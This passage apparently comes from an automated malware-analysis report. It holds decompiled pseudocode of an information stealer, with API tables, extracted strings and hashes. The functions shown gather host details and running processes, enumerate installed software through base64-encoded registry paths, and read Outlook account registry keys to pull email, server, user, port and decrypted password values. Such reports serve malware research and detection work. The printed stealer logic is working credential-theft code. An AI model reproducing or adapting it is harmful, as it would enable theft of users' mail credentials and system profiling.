				_push(E00416C7F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x0041698c
0x0041698c
0x0041698d
0x0041698f
0x00416994
0x00416994
0x00416996
0x00416998
0x00416998
0x00416998
0x0041699c
0x004169a0
0x004169a1
0x004169a6
0x004169a9
0x004169ac
0x004169b4
0x004169b9
0x004169bc
0x004169c8
0x004169cd
0x004169cf
0x004169d9
0x004169de
0x004169e1
0x004169ed
0x004169f2
0x004169f4
0x004169fc
0x00416a01
0x00416a04
0x00416a11
0x00416a1c
0x00416a21
0x00416a27
0x00416a2c
0x00416a2f
0x00416a37
0x00416a3c
0x00416a3f
0x00416a4c
0x00416a56
0x00416a65
0x00416a70
0x00416a75
0x00416a7b
0x00416a80
0x00416a83
0x00416a8b
0x00416a90
0x00416a93
0x00416a98
0x00416aa5
0x00416aaf
0x00416abe
0x00416ac9
0x00416ace
0x00416adb
0x00416ae0
0x00416ae3
0x00416af2
0x00416af7
0x00416afa
0x00416b07
0x00416b11
0x00416b16
0x00416b18
0x00416b20
0x00416b25
0x00416b28
0x00416b34
0x00416b39
0x00416b3b
0x00416b43
0x00416b48
0x00416b4b
0x00416b57
0x00416b5c
0x00416b5e
0x00416b66
0x00416b6b
0x00416b6e
0x00416b7a
0x00416b7f
0x00416b84
0x00416b89
0x00416b8c
0x00416b98
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bae
0x00416bb1
0x00416bb6
0x00416bc2
0x00416bc9
0x00416bce
0x00416bd0
0x00416be1
0x00416be8
0x00416bf0
0x00416bfa
0x00416c01
0x00416c04
0x00416c07
0x00416c14
0x00416c21
0x00416c29
0x00416c36
0x00416c3e
0x00416c4b
0x00416c58
0x00416c65
0x00416c77

APIs

GetSystemMetrics.USER32 ref: 00416AD3
GetSystemMetrics.USER32 ref: 00416AEA

Part of subcall function 00416794: GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00415E44: GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4,?,Layouts: ,?), ref: 00416B9F

Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
Part of subcall function 00416290: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
Part of subcall function 00416290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Part of subcall function 00416290: Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB

Sleep.KERNEL32(00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ), ref: 00416BC9
Sleep.KERNEL32(00000001,00416CA4,[Soft],?,00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416BE8

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

Zone: , xrefs: 00416B5E
MachineID : , xrefs: 004169AC
Computer(Username) : , xrefs: 00416A60
, xrefs: 004169E1, 00416B6E, 00416B8C
Layouts: , xrefs: 00416B18
Screen: , xrefs: 00416AB9
Windows : , xrefs: 004169F4
[Soft], xrefs: 00416BD0
LocalTime: , xrefs: 00416B3B
EXE_PATH : , xrefs: 004169CF

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CreateFirstFreeInfoInformationProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 2064200246-943277980
Opcode ID: fe1ae8567fb0647e27782b26562f6a993485a3d7589d12e9bf6b6e77031a4d70
Instruction ID: b8284bc9f62184e4db5d5ca1727f6710c034d5e6d015895e5eeee5dd02488032
Opcode Fuzzy Hash: fe1ae8567fb0647e27782b26562f6a993485a3d7589d12e9bf6b6e77031a4d70
Instruction Fuzzy Hash: 2F711C70A40109ABDF01FFE1DC42BCDBB79EF48709F61803BB104B6296D67DEA458A59

Uniqueness

Uniqueness Score: -1.00%

Function 0041564C, Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 305
registryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0041564C(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v1009;
				char _v1016;
				intOrPtr _v1020;
				char _v1024;
				char _v1028;
				char _v1032;
				char _v1036;
				char _v1040;
				char _v1044;
				char _v1048;
				char _v1052;
				char _v1056;
				char _v1060;
				char _v1064;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1080;
				char _v1084;
				char _v1088;
				char _v1092;
				char _v1096;
				char _v1100;
				char _v1104;
				char _v1108;
				char _v1112;
				char _v1116;
				char _v1120;
				char _v1124;
				char _v1128;
				char _v1132;
				char _v1136;
				char _v1140;
				char _v1144;
				char _v1148;
				long _t107;
				void* _t123;
				void* _t144;
				long _t162;
				void* _t178;
				void* _t199;
				intOrPtr* _t262;
				void* _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;
				intOrPtr _t318;
				char* _t329;
				int _t331;
				int _t332;
				intOrPtr _t334;
				intOrPtr _t335;

				_t334 = _t335;
				_t263 = 0x8f;
				do {
					_push(0);
					_push(0);
					_t263 = _t263 - 1;
				} while (_t263 != 0);
				_t262 = __eax;
				_t329 =  &_v1009;
				_push(_t334);
				_push(0x415b6e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t335;
				E004034E4(__eax);
				_t331 = 0;
				E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs", _t262,  &_v1016, _t329, 0);
				RegOpenKeyExA(0x80000002, E00403990(_v1016), 0, 0x20019,  &_v8); // executed
				while(1) {
					_t107 = RegEnumKeyA(_v8, _t331, _t329, 0x3e9); // executed
					if(_t107 != 0) {
						break;
					}
					E00403D88( &_v1024,  *_t262);
					_push(_v1024);
					_push(0);
					_push( &_v1028);
					E004069A8("RGlzcGxheU5hbWU=", _t262,  &_v1036, _t329, _t331);
					E00403CF4( &_v1032, E00403990(_v1036));
					_push(_v1032);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1044, _t329, _t331);
					_push( &_v1044);
					E00403748( &_v1048, 0x3e9, _t329);
					_pop(_t123);
					E00403798(_t123, _v1048);
					E00403CF4( &_v1040, E00403990(_v1044));
					_pop(_t265); // executed
					E004075C0(0x80000002, _t262, _t265, _v1040); // executed
					_push(_v1028);
					_push(0x415c44);
					_push(0);
					_push( &_v1052);
					E004069A8("RGlzcGxheVZlcnNpb24=", _t262,  &_v1060, _t329, _t331);
					E00403CF4( &_v1056, E00403990(_v1060));
					_push(_v1056);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1068, _t329, _t331);
					_push( &_v1068);
					E00403748( &_v1072, 0x3e9, _t329);
					_pop(_t144);
					E00403798(_t144, _v1072);
					E00403CF4( &_v1064, E00403990(_v1068));
					_pop(_t267); // executed
					E004075C0(0x80000002, _t262, _t267, _v1064); // executed
					_push(_v1052);
					_push(")");
					E00403E78();
					E0040377C(_t262, _v1020);
					_t331 = _t331 + 1;
				}
				_t332 = 0;
				E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs", _t262,  &_v1076, _t329, 0);
				RegOpenKeyExA(0x80000001, E00403990(_v1076), 0, 0x20019,  &_v8); // executed
				while(1) {
					_t162 = RegEnumKeyA(_v8, _t332, _t329, 0x3e9); // executed
					if(_t162 != 0) {
						break;
					}
					E00403D88( &_v1084,  *_t262);
					_push(_v1084);
					_push(0);
					_push( &_v1088);
					E004069A8("RGlzcGxheU5hbWU=", _t262,  &_v1096, _t329, _t332);
					E00403CF4( &_v1092, E00403990(_v1096));
					_push(_v1092);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1104, _t329, _t332);
					_push( &_v1104);
					E00403748( &_v1108, 0x3e9, _t329);
					_pop(_t178);
					E00403798(_t178, _v1108);
					E00403CF4( &_v1100, E00403990(_v1104));
					_pop(_t269);
					E004075C0(0x80000001, _t262, _t269, _v1100);
					_push(_v1088);
					_push(0x415c44);
					_push(0);
					_push( &_v1112);
					E004069A8("RGlzcGxheVZlcnNpb24=", _t262,  &_v1120, _t329, _t332);
					E00403CF4( &_v1116, E00403990(_v1120));
					_push(_v1116);
					E004069A8("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==", _t262,  &_v1128, _t329, _t332);
					_push( &_v1128);
					E00403748( &_v1132, 0x3e9, _t329);
					_pop(_t199);
					E00403798(_t199, _v1132);
					E00403CF4( &_v1124, E00403990(_v1128));
					_pop(_t271);
					E004075C0(0x80000001, _t262, _t271, _v1124);
					_push(_v1112);
					_push(")");
					E00403E78();
					E0040377C(_t262, _v1080);
					_t332 = _t332 + 1;
				}
				E00403D88( &_v1140,  *_t262);
				E0040717C(_v1140, _t262, 0x415c78, L"()\r\n",  &_v1136);
				E0040377C(_t262, _v1136);
				E00403D88( &_v1148,  *_t262);
				E0040717C(_v1148, _t262, 0x415c78, L"\r\n\r\n",  &_v1144);
				E0040377C(_t262, _v1144);
				_pop(_t318);
				 *[fs:eax] = _t318;
				_push(E00415B78);
				E00403BF4( &_v1148, 4);
				E00403508( &_v1132, 2);
				E00403BDC( &_v1124);
				E004034E4( &_v1120);
				E00403BF4( &_v1116, 2);
				E00403508( &_v1108, 2);
				E00403BDC( &_v1100);
				E004034E4( &_v1096);
				E00403BF4( &_v1092, 4);
				E00403508( &_v1076, 3);
				E00403BDC( &_v1064);
				E004034E4( &_v1060);
				E00403BF4( &_v1056, 2);
				E00403508( &_v1048, 2);
				E00403BDC( &_v1040);
				E004034E4( &_v1036);
				E00403BF4( &_v1032, 4);
				return E004034E4( &_v1016);
			}

0x0041564d
0x0041564f
0x00415654
0x00415654
0x00415656
0x00415658
0x00415658
0x0041565e
0x00415660
0x00415668
0x00415669
0x0041566e
0x00415671
0x00415676
0x0041567b
0x00415693
0x004156a9
0x00415826
0x00415831
0x00415838
0x00000000
0x00000000
0x004156bb
0x004156c0
0x004156c6
0x004156ce
0x004156da
0x004156f2
0x004156fd
0x00415709
0x00415714
0x00415722
0x0041572d
0x0041572e
0x00415746
0x00415756
0x00415757
0x0041575c
0x00415762
0x00415767
0x0041576f
0x0041577b
0x00415793
0x0041579e
0x004157aa
0x004157b5
0x004157c3
0x004157ce
0x004157cf
0x004157e7
0x004157f7
0x004157f8
0x004157fd
0x00415803
0x00415813
0x00415820
0x00415825
0x00415825
0x0041583e
0x00415856
0x0041586c
0x004159e9
0x004159f4
0x004159fb
0x00000000
0x00000000
0x0041587e
0x00415883
0x00415889
0x00415891
0x0041589d
0x004158b5
0x004158c0
0x004158cc
0x004158d7
0x004158e5
0x004158f0
0x004158f1
0x00415909
0x00415919
0x0041591a
0x0041591f
0x00415925
0x0041592a
0x00415932
0x0041593e
0x00415956
0x00415961
0x0041596d
0x00415978
0x00415986
0x00415991
0x00415992
0x004159aa
0x004159ba
0x004159bb
0x004159c0
0x004159c6
0x004159d6
0x004159e3
0x004159e8
0x004159e8
0x00415a10
0x00415a25
0x00415a32
0x00415a46
0x00415a5b
0x00415a68
0x00415a6f
0x00415a72
0x00415a75
0x00415a85
0x00415a95
0x00415aa0
0x00415aab
0x00415abb
0x00415acb
0x00415ad6
0x00415ae1
0x00415af1
0x00415b01
0x00415b0c
0x00415b17
0x00415b27
0x00415b37
0x00415b42
0x00415b4d
0x00415b5d
0x00415b6d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 004075C0: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Part of subcall function 004075C0: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

RGlzcGxheVZlcnNpb24=, xrefs: 00415776, 00415939
), xrefs: 00415803, 004159C6
, xrefs: 00415A56
RGlzcGxheU5hbWU=, xrefs: 004156D5, 00415898
(), xrefs: 00415A20
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==, xrefs: 00415704, 004157A5, 004158C7, 00415968
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs, xrefs: 0041568E, 00415851

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open$EnumFreeString$QueryValue
String ID: $()$)$RGlzcGxheU5hbWU=$RGlzcGxheVZlcnNpb24=$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==
API String ID: 811798878-3013244427
Opcode ID: 547c05d318ca5eac7810157f0d3132aa7d9af34da3f0ee34c529ef5e628f9d47
Instruction ID: c01df635abeadf6e6837e62572b2515f3de099e5a3d6091bc8c8e2951dea1457
Opcode Fuzzy Hash: 547c05d318ca5eac7810157f0d3132aa7d9af34da3f0ee34c529ef5e628f9d47
Instruction Fuzzy Hash: 94C1F5B5A001189BCB11EB55CC41BCEB7BDAB84305F5045FBB608B7282DA78AF858F5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C208, Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 430
registryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E0040C208(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v2112;
				char _v3136;
				char _v4159;
				char _v4160;
				char _v4164;
				char _v4168;
				char _v4172;
				char _v4176;
				intOrPtr _v4180;
				intOrPtr _v4184;
				char _v4188;
				char _v4192;
				intOrPtr _v4196;
				char _v4200;
				char _v4204;
				char _v4208;
				char _v4212;
				intOrPtr _v4216;
				char _v4220;
				intOrPtr _v4224;
				char _v4228;
				intOrPtr _v4232;
				char _v4236;
				char _v4240;
				intOrPtr _v4244;
				char _v4248;
				char _v4252;
				intOrPtr _v4256;
				char _v4260;
				char _v4264;
				char _v4268;
				char _v4272;
				char _v4276;
				char _v4280;
				char _v4284;
				intOrPtr _v4288;
				char _v4292;
				long _t190;
				intOrPtr* _t192;
				void* _t197;
				intOrPtr* _t225;
				intOrPtr* _t229;
				intOrPtr* _t234;
				intOrPtr* _t244;
				signed int _t246;
				intOrPtr* _t248;
				void* _t259;
				void* _t274;
				intOrPtr* _t322;
				signed int _t324;
				intOrPtr* _t354;
				signed int _t363;
				void* _t364;
				void* _t374;
				intOrPtr _t395;
				intOrPtr* _t396;
				intOrPtr* _t398;
				intOrPtr* _t400;
				intOrPtr* _t402;
				intOrPtr _t404;
				intOrPtr _t409;
				intOrPtr _t411;
				void* _t430;
				void* _t434;
				void* _t438;
				void* _t456;
				signed int _t457;
				intOrPtr* _t459;
				intOrPtr _t461;
				intOrPtr _t462;

				_t461 = _t462;
				_t364 = 0x218;
				do {
					_push(0);
					_push(0);
					_t364 = _t364 - 1;
				} while (_t364 != 0);
				_push(__ebx);
				_push(__esi);
				_v8 = __eax;
				E00404150( &_v8);
				_t395 =  *0x401040; // 0x401044
				E004041A0( &_v4176, 4, _t395);
				_push(_t461);
				_push(0x40c8bc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t462;
				_t396 =  *0x41b30c; // 0x41c984
				E0040357C( &_v4176,  *_t396);
				_t398 =  *0x41b31c; // 0x41c988
				E0040357C( &_v4172,  *_t398);
				_t400 =  *0x41b1bc; // 0x41c98c
				E0040357C( &_v4168,  *_t400);
				_t402 =  *0x41b478; // 0x41c990
				E0040357C( &_v4164,  *_t402);
				_t190 = RegOpenKeyW(0x80000001, E00403D98(_v8),  &_v12); // executed
				if(_t190 == 0) {
					_t457 = 0;
					while(1) {
						_push(0x800);
						_push( &_v2112);
						_push(_t457);
						_push(_v12);
						_t354 =  *0x41b248; // 0x41c730
						if( *((intOrPtr*)( *_t354))() != 0) {
							goto L6;
						}
						_t457 = _t457 + 1;
						__eflags = _t457;
						_push(_t457);
						E00404804();
						_t462 = _t462 + 4;
						E00403D6C(_v20 + _t457 * 4 - 4, 0x400,  &_v2112);
					}
				}
				L6:
				_t192 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t192))(_v12);
				_t197 = E00404648(_v20) - 1;
				if(_t197 >= 0) {
					_v64 = _t197 + 1;
					_t363 = 0;
					do {
						_push( &_v12);
						_push(_v8);
						_push(0x40c8d4);
						_push( *((intOrPtr*)(_v20 + _t363 * 4)));
						E00403E78();
						_push(E00403D98(_v4180));
						_push(0x80000001);
						_t225 =  *0x41b474; // 0x41c72c
						if( *((intOrPtr*)( *_t225))() == 0) {
							_t456 = 0;
							while(1) {
								_push(0x800);
								_push( &_v2112);
								_push(_t456);
								_push(_v12);
								_t234 =  *0x41b248; // 0x41c730
								if( *((intOrPtr*)( *_t234))() != 0) {
									goto L20;
								}
								_t456 = _t456 + 1;
								_v28 = 0x400;
								E00403D6C( &_v4188, 0x400,  &_v2112);
								E00403E78();
								_t244 =  *0x41b474; // 0x41c72c
								_t246 =  *((intOrPtr*)( *_t244))(0x80000001, E00403D98(_v4184), _v4188, 0x40c8d4,  *((intOrPtr*)(_v20 + _t363 * 4)), 0x40c8d4, _v8,  &_v16);
								__eflags = _t246;
								if(_t246 == 0) {
									_push(0);
									_push( &_v4192);
									_push(_v8);
									_push(0x40c8d4);
									_push( *((intOrPtr*)(_v20 + _t363 * 4)));
									E00403D6C( &_v4200, 0x400,  &_v2112);
									E00403E78();
									E004075C0(0x80000001, _t363, L"Email", _v4196, _v4200, 0x40c8d4);
									_t259 = E00403DA8(_v4192);
									__eflags = _t259 - 1;
									if(_t259 - 1 > 0) {
										_v60 = 3;
										_t459 =  &_v4176;
										do {
											_push(0);
											_push( &_v4204);
											E004037DC( &_v4212, " Server",  *_t459);
											E00403D88( &_v4208, _v4212);
											_push(_v4208);
											_push(_v8);
											_push(0x40c8d4);
											_push( *((intOrPtr*)(_v20 + _t363 * 4)));
											_push(0x40c8d4);
											E00403D6C( &_v4220, 0x400,  &_v2112);
											_push(_v4220);
											E00403E78();
											_pop(_t374);
											E004075C0(0x80000001, _t363, _t374, _v4216);
											_t274 = E00403DA8(_v4204);
											__eflags = _t274 - 1;
											if(_t274 - 1 > 0) {
												E00403D88( &_v36,  *_t459);
												_push(0);
												_push( &_v52);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												E00403D6C( &_v4228, 0x400,  &_v2112);
												E00403E78();
												E004075C0(0x80000001, _t363, L"Email", _v4224, _v4228, 0x40c8d4);
												_push(0);
												_push( &_v44);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4236, 0x400,  &_v2112);
												_push(_v4236);
												E00403E78();
												_push(_v4232);
												E00403E14( &_v4240, L" User", _v36, __eflags);
												_pop(_t430);
												E004075C0(0x80000001, _t363, _v4240, _t430);
												_push(0);
												_push( &_v40);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4248, 0x400,  &_v2112);
												_push(_v4248);
												E00403E78();
												_push(_v4244);
												E00403E14( &_v4252, L" Server", _v36, __eflags);
												_pop(_t434);
												E004075C0(0x80000001, _t363, _v4252, _t434);
												_push(_v8);
												_push(0x40c8d4);
												_push( *((intOrPtr*)(_v20 + _t363 * 4)));
												_push(0x40c8d4);
												E00403D6C( &_v4260, 0x400,  &_v2112);
												_push(_v4260);
												E00403E78();
												_push(_v4256);
												E00403E14( &_v4264, L" Port", _v36, __eflags);
												_pop(_t438);
												_v56 = E004076B4(0x80000001, _t363, _v4264, _t438, _t459);
												E00403E14( &_v4268, L" Password", _v36, __eflags);
												_t322 =  *0x41b398; // 0x41c710
												_t324 =  *((intOrPtr*)( *_t322))(_v16, E00403D98(_v4268), 0,  &_v24,  &_v4160,  &_v28);
												__eflags = _t324;
												if(_t324 == 0) {
													E00404F54( &_v3136,  &_v4159);
													E0040C170( &_v3136,  &_v32, _v28 - 1);
													__eflags = E00403AD4(0x40c94c, _v32) - 1;
													E004039F0(_v32, E00403AD4(0x40c94c, _v32) - 1, 1,  &_v32);
													E00403D88( &_v48, _v32);
												}
												E0040377C( &_v4272, _v52);
												_push(_v4272);
												E0040377C( &_v4276, _v48);
												_push(_v4276);
												E0040377C( &_v4280, _v44);
												_push(_v4280);
												_push(_v36);
												_push("://");
												E0040709C(_v56, _t363,  &_v4292, _t459, __eflags);
												E00403E78();
												E0040377C( &_v4284, _v4288);
												E0040525C(E0040C97C, _t363, _v4284, "Outlook", _t456, _t459, _v4292, 0x40c960, _v40);
											}
											_t459 = _t459 + 4;
											_t153 =  &_v60;
											 *_t153 = _v60 - 1;
											__eflags =  *_t153;
										} while ( *_t153 != 0);
									}
								}
								_t248 =  *0x41b1fc; // 0x41c714
								 *((intOrPtr*)( *_t248))(_v16);
							}
						}
						L20:
						_t229 =  *0x41b1fc; // 0x41c714
						 *((intOrPtr*)( *_t229))(_v12);
						_t363 = _t363 + 1;
						_t159 =  &_v64;
						 *_t159 = _v64 - 1;
					} while ( *_t159 != 0);
				}
				_pop(_t404);
				 *[fs:eax] = _t404;
				_push(E0040C8C6);
				E00403BF4( &_v4292, 2);
				E00403508( &_v4284, 4);
				E00403BF4( &_v4268, 0xe);
				E004034E4( &_v4212);
				E00403BF4( &_v4208, 8);
				_t409 =  *0x401040; // 0x401044
				E00404280( &_v4176, 4, _t409);
				E00403BF4( &_v52, 5);
				E004034E4( &_v32);
				_t411 =  *0x40c1e4; // 0x40c1e8
				E00404810( &_v20, _t411);
				return E00403BDC( &_v8);
			}

0x0040c209
0x0040c20b
0x0040c210
0x0040c210
0x0040c212
0x0040c214
0x0040c214
0x0040c217
0x0040c218
0x0040c21a
0x0040c220
0x0040c230
0x0040c236
0x0040c23d
0x0040c23e
0x0040c243
0x0040c246
0x0040c24f
0x0040c257
0x0040c262
0x0040c26a
0x0040c275
0x0040c27d
0x0040c288
0x0040c290
0x0040c2ae
0x0040c2b2
0x0040c2b4
0x0040c2e7
0x0040c2e7
0x0040c2f2
0x0040c2f3
0x0040c2f7
0x0040c2f8
0x0040c303
0x00000000
0x00000000
0x0040c2b8
0x0040c2b8
0x0040c2b9
0x0040c2c8
0x0040c2cd
0x0040c2e2
0x0040c2e2
0x0040c2e7
0x0040c305
0x0040c309
0x0040c310
0x0040c31a
0x0040c31d
0x0040c324
0x0040c327
0x0040c329
0x0040c32c
0x0040c32d
0x0040c330
0x0040c338
0x0040c346
0x0040c356
0x0040c357
0x0040c35c
0x0040c367
0x0040c36d
0x0040c7e9
0x0040c7e9
0x0040c7f4
0x0040c7f5
0x0040c7f9
0x0040c7fa
0x0040c805
0x00000000
0x00000000
0x0040c374
0x0040c375
0x0040c3a4
0x0040c3ba
0x0040c3d0
0x0040c3d7
0x0040c3d9
0x0040c3db
0x0040c3e1
0x0040c3e9
0x0040c3ea
0x0040c3ed
0x0040c3f5
0x0040c40e
0x0040c424
0x0040c439
0x0040c444
0x0040c449
0x0040c44a
0x0040c450
0x0040c457
0x0040c45d
0x0040c45d
0x0040c465
0x0040c473
0x0040c484
0x0040c48f
0x0040c490
0x0040c493
0x0040c49b
0x0040c49e
0x0040c4b4
0x0040c4b9
0x0040c4ca
0x0040c4da
0x0040c4db
0x0040c4e6
0x0040c4eb
0x0040c4ec
0x0040c4f7
0x0040c4fc
0x0040c501
0x0040c502
0x0040c505
0x0040c50d
0x0040c526
0x0040c53c
0x0040c551
0x0040c556
0x0040c55b
0x0040c55c
0x0040c55f
0x0040c567
0x0040c56a
0x0040c580
0x0040c585
0x0040c596
0x0040c5a1
0x0040c5b0
0x0040c5c0
0x0040c5c1
0x0040c5c6
0x0040c5cb
0x0040c5cc
0x0040c5cf
0x0040c5d7
0x0040c5da
0x0040c5f0
0x0040c5f5
0x0040c606
0x0040c611
0x0040c620
0x0040c630
0x0040c631
0x0040c636
0x0040c639
0x0040c641
0x0040c644
0x0040c65a
0x0040c65f
0x0040c670
0x0040c67b
0x0040c68a
0x0040c69a
0x0040c6a0
0x0040c6c2
0x0040c6d7
0x0040c6de
0x0040c6e0
0x0040c6e2
0x0040c6f4
0x0040c706
0x0040c71e
0x0040c727
0x0040c732
0x0040c732
0x0040c740
0x0040c74b
0x0040c755
0x0040c760
0x0040c76a
0x0040c775
0x0040c776
0x0040c779
0x0040c78f
0x0040c7a5
0x0040c7b6
0x0040c7cb
0x0040c7cb
0x0040c7d0
0x0040c7d3
0x0040c7d3
0x0040c7d3
0x0040c7d3
0x0040c45d
0x0040c44a
0x0040c7e0
0x0040c7e7
0x0040c7e7
0x0040c7e9
0x0040c80b
0x0040c80f
0x0040c816
0x0040c818
0x0040c819
0x0040c819
0x0040c819
0x0040c329
0x0040c824
0x0040c827
0x0040c82a
0x0040c83a
0x0040c84a
0x0040c85a
0x0040c865
0x0040c875
0x0040c885
0x0040c88b
0x0040c898
0x0040c8a0
0x0040c8a8
0x0040c8ae
0x0040c8bb

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040C8BC,?,00000000,?,00000000,00000000,00000000,?,0040C9A6,00000000,0040C9DF), ref: 0040C2AE

Part of subcall function 004075C0: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Part of subcall function 004075C0: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642

Strings

://, xrefs: 0040C779
Server, xrefs: 0040C46C
Server, xrefs: 0040C618
Password, xrefs: 0040C6BA
Outlook, xrefs: 0040C7C1
Email, xrefs: 0040C42F, 0040C547
User, xrefs: 0040C5A8
Port, xrefs: 0040C682

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open$QueryValue
String ID: Password$ Port$ Server$ Server$ User$://$Email$Outlook
API String ID: 2123561561-4176370039
Opcode ID: 669e6b46287356bda4ab1fe1bdca082b12451fe0c239720d2cb777ad7381b883
